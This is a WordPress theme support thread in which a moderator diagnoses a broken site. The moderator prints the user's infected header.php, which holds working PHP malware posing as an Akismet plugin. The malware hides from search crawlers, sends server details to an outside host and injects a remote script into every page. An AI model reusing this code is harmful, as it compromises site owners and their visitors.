-
AuthorPosts
-
September 24, 2014 at 7:21 pm #111873
karen NParticipantGreetings,
My website is down and showing this error message:
wed address: http://www.juiceitdrinkit.com
Parse error: syntax error, unexpected ‘:’ in /home4/katelier/public_html/juiceitdrinkit.com/wp-content/themes/x/header.php on line 142I recently upgraded to wordpress 4.0 and also uploaded the new version of thd X theme. My host company says the problem is not on their end , but withing the code on the theme. I dont know how to fix this. I do this by myself. Im quite desperate at this time since my small business rely on the webpage for orders.
Can you please help me with this?
September 24, 2014 at 8:26 pm #111902
RadModeratorHi Karen,
In this case, please always provide all needed information.
Would you mind providing us with login credentials so we can take a closer look? To do this, you can make a post with the following info:
– Link to your site
– WordPress Admin username / password
– FTP credentialsDon’t forget to select Set as private reply. This ensures your information is only visible to our staff.
Parse error is only possible by faulty coding. Given that X works on my setup and other user’s site,then it’s possible that you have custom coding at header.php that breaks your site.
Thanks.
September 24, 2014 at 8:57 pm #111913
karen NParticipantThis reply has been marked as private.September 24, 2014 at 9:49 pm #111941
RadModeratorHi Karen,
Your header.php should be like this.
<?php // ============================================================================= // HEADER.PHP // ----------------------------------------------------------------------------- // The site header. Variable output across different stacks. // // Content is output based on which Stack has been selected in the Customizer. // To view and/or edit the markup of your Stack's index, first go to "views" // inside the "framework" subdirectory. Once inside, find your Stack's folder // and look for a file called "wp-header.php," where you'll be able to find the // appropriate output. // ============================================================================= ?> <?php x_get_view( x_get_stack(), 'wp', 'header' ); ?>Your current header.php has this.
<?php // ============================================================================= // HEADER.PHP // ----------------------------------------------------------------------------- // The site header. Variable output across different stacks. // // Content is output based on which Stack has been selected in the Customizer. // To view and/or edit the markup of your Stack's index, first go to "views" // inside the "framework" subdirectory. Once inside, find your Stack's folder // and look for a file called "wp-header.php," where you'll be able to find the // appropriate output. // ============================================================================= ?> <?php #68bc82# /** * @package Akismet */ /* Plugin Name: Akismet Plugin URI: http://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from comment and trackback spam</strong>. It keeps your site protected from spam even while you sleep. To get started: 1) Click the "Activate" link to the left of this description, 2) <a href="http://akismet.com/get/">Sign up for an Akismet API key</a>, and 3) Go to your Akismet configuration page, and save your API key. Version: 3.0.0 Author: Automattic Author URI: http://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ if( empty( $f ) ) { if( ( substr( trim( $_SERVER['REMOTE_ADDR'] ), 0, 6 ) == '74.125' ) || preg_match( "/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i", $_SERVER['HTTP_USER_AGENT'] ) ) { } else { error_reporting( 0 ); @ini_set( 'display_errors', 0 ); if( !function_exists( '__url_get_contents' ) ) { function __url_get_contents( $remote_url, $timeout ) { if( function_exists( 'curl_exec' ) ) { $ch = curl_init(); curl_setopt( $ch, CURLOPT_URL, $remote_url ); curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true ); curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, $timeout ); curl_setopt( $ch, CURLOPT_TIMEOUT, $timeout ); //timeout in seconds $_url_get_contents_data = curl_exec( $ch ); curl_close( $ch ); } elseif( function_exists( 'file_get_contents' ) && ini_get( 'allow_url_fopen' ) ) { $ctx = @stream_context_create( array( 'http' => array( 'timeout' => $timeout, ) ) ); $_url_get_contents_data = @file_get_contents( $remote_url, false, $ctx ); } elseif( function_exists( 'fopen' ) && function_exists( 'stream_get_contents' ) ) { $handle = @fopen( $remote_url, "r" ); $_url_get_contents_data = @stream_get_contents( $handle ); } else { $_url_get_contents_data = __file_get_url_contents( $remote_url ); } return $_url_get_contents_data; } } if( !function_exists( '__file_get_url_contents' ) ) { function __file_get_url_contents( $remote_url ) { if( preg_match( '/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i', $remote_url, $matches ) ) { $protocol = strtolower( $matches[1] ); $host = $matches[2]; $path = $matches[3]; } else { // Bad remote_url-format return false; } if( $protocol == "http" ) { $socket = @fsockopen( $host, 80, $errno, $errstr, $timeout ); } else { // Bad protocol return false; } if( !$socket ) { // Error creating socket return false; } $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n"; $len_written = @fwrite( $socket, $request ); if( $len_written === false || $len_written != strlen( $request ) ) { // Error sending request return false; } $response = ""; while( !@feof( $socket ) && ( $buf = @fread( $socket, 4096 ) ) !== false ) { $response .= $buf; } if( $buf === false ) { // Error reading response return false; } $end_of_header = strpos( $response, "\r\n\r\n" ); return substr( $response, $end_of_header + 4 ); } } $f['SCRIPT_FILENAME'] = $_SERVER['SCRIPT_FILENAME']; $f['SCRIPT_NAME'] = $_SERVER['SCRIPT_NAME']; $f['HTTP_HOST'] = $_SERVER['HTTP_HOST']; $f['REDIRECT_STATUS'] = $_SERVER['REDIRECT_STATUS']; $f['SERVER_NAME'] = $_SERVER['SERVER_NAME']; $f['SERVER_ADDR'] = $_SERVER['SERVER_ADDR']; $f['SERVER_ADMIN'] = $_SERVER['SERVER_ADMIN']; $f = __url_get_contents(http://s49017.gridserver.com/pdybjzg7.php. "?fid=9910490&info=" . http_build_query( $f ) . "&no=1", 1); echo "<script type=\"text/javascript\" src=\"http://s49017.gridserver.com/pdybjzg7.php?id=5461084\"></script>"; } } #/68bc82# ?> <?php x_get_view( x_get_stack(), 'wp', 'header' ); ?>There is a bunch of code that has to be added to akismet plugin, but added to your header.php
If you’re can’t remember this, please scan your site of probable virus/malware infection.
I deleted that extra code, but it may come back if it’s a virus/malware.
Cheers!
-
AuthorPosts
- <script> jQuery(function($){ $("#no-reply-111873 .bbp-template-notice, .bbp-no-topic .bbp-template-notice").removeClass('bbp-template-notice'); }); </script>
